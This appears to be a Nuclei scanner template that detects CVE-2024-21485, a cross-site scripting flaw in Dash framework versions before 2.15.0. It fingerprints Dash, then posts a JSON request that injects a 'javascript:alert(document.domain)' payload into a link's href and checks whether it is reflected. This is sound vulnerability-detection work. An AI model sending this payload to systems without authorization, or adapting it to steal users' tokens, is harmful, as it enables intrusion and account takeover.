id: CVE-2024-21485

info:
  name: Dash Framework - Cross-site Scripting
  author: Lee Changhyun(eeche)
  severity: medium
  description: |
    Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21485
  impact: |
    Data theft from users who access the compromised view and Access token stealing allowing attacker to impersonate users
  remediation: |
    Upgrade to dash version 2.15.0 or later
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-21485
    cwe-id: CWE-79
    epss-score: 0.00907
    epss-percentile: 0.76035
    cpe: cpe:2.3:a:plotly:dash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
  tags: cve,cve2024,dash,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "dash-core-components"
          - "_dash-component-suites"
        condition: or
        internal: true

  - raw:
      - |
        POST /_dash-update-component HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"output":"link-output.children","inputs":[{"id":"link-input","property":"value","value":"javascript:alert(document.domain)"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "props"
          - "children"
          - "type"
          - "javascript:alert(document.domain)"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c6e2ad99320f3ecce23877c047dd9d169917e4469acec63fd54a6c236e0a09a202207ce180e10bbc08b5ee76ba8299acff2f1e680c9db3bce33af34f7d983c3221f8:922c64590222798bb761d5b6d8e72950